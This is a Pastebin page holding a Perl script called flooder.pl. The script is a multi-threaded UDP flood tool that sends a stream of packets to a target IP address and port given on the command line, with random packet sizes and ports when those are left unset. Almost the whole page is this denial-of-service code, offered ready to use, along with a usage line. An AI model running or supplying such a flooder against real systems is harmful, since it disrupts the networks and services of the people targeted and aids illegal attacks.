Advertisement
saltycracker

flooder.pl

Mar 30th, 2020
549
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.05 KB | None | 0 0
  1. #! /usr/bin/env perl
  2.  
  3. #Usage
  4. #./prog.pl --IP=127.0.0.1 --Port=2323  --PSize=10 --Secs=1 --Thread=3 --Verbose
  5.  
  6. use warnings;
  7. use strict;
  8. use utf8;
  9. use autodie;
  10. use feature qw<say>;
  11.  
  12. use Config;
  13. $Config{useithreads} || die "You need thread support for this to work";
  14.  
  15. use Getopt::Long;
  16. use Regexp::Common qw<net>;
  17. use Socket;
  18. use threads;
  19.  
  20. my $result = GetOptions (
  21.     'IP:s' => \my $ip,
  22.     'Port|P:i' => \my $port,
  23.     'PSize|PS:i' => \my $packSize,
  24.     'Secs|S:i' => \my $secs,
  25.     'Thread|T:i' => \my $threads,
  26.     'Verbose|V' => \my $verbose
  27.     );
  28.  
  29. do {say "Invalid IP: '$ip'"; exit(1)}
  30. unless $ip =~ /$RE{net}{IPv4}/;
  31.  
  32. do {say "Invalid port: '$port'"; exit(2)}
  33. unless (($port < 65536) && ($port >= 0));
  34.  
  35. do {say "Invalid packet size: '$packSize'"; exit(2)}
  36. unless (($packSize < 65500) || ($packSize > 0));
  37.  
  38. do {say "Invalid secs: '$secs'"; exit(3)}
  39. unless $secs > 0;
  40.  
  41. do {say "Invalid number of threads: '$threads'"; exit(4)}
  42. unless $threads > 0;
  43.  
  44. warn "Number of threads '$threads' could be a problem"
  45.     unless $threads < 35;
  46.  
  47. say<<"StartMsg";
  48.     |--------------------------------|
  49.     ->  Address: $ip
  50.     ->  Port: $port
  51.     ->  Packet Size: $packSize
  52.     ->  Seconds: $secs
  53.     ->  Number of threads: $threads
  54.     ->  Verbose: $verbose
  55.     |--------------------------------|
  56. StartMsg
  57.  
  58. print "Is this correct?(y/n)";
  59.  
  60. do {say "Halting program!"; exit(5)} unless <STDIN> =~ /^y/;
  61.  
  62. threads->create(
  63.     sub{
  64.         my ($ip, $port, $size, $time, $verbose) = @_;
  65.         my $iaddr = inet_aton("$ip");
  66.         my $endtime = time() + ($time ? $time : 1000000);
  67.         socket(my $flood, PF_INET, SOCK_DGRAM, 17);
  68.  
  69.         while (time() <= $endtime){
  70.             #say "end: $endtime time: ", time();
  71.             my $psize = $size ? $size : int(rand(1024-64)+64) ;
  72.             my $pport = $port ? $port : int(rand(65500))+1;
  73.             send($flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  74.             if($verbose){
  75.                 print "Sent Packet: Size[$psize] Port[$pport]\n";
  76.             }
  77.         }
  78.     }, $ip, $port, $packSize, $secs, $verbose)->join for (1..$threads);
  79.  
  80. exit (0);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement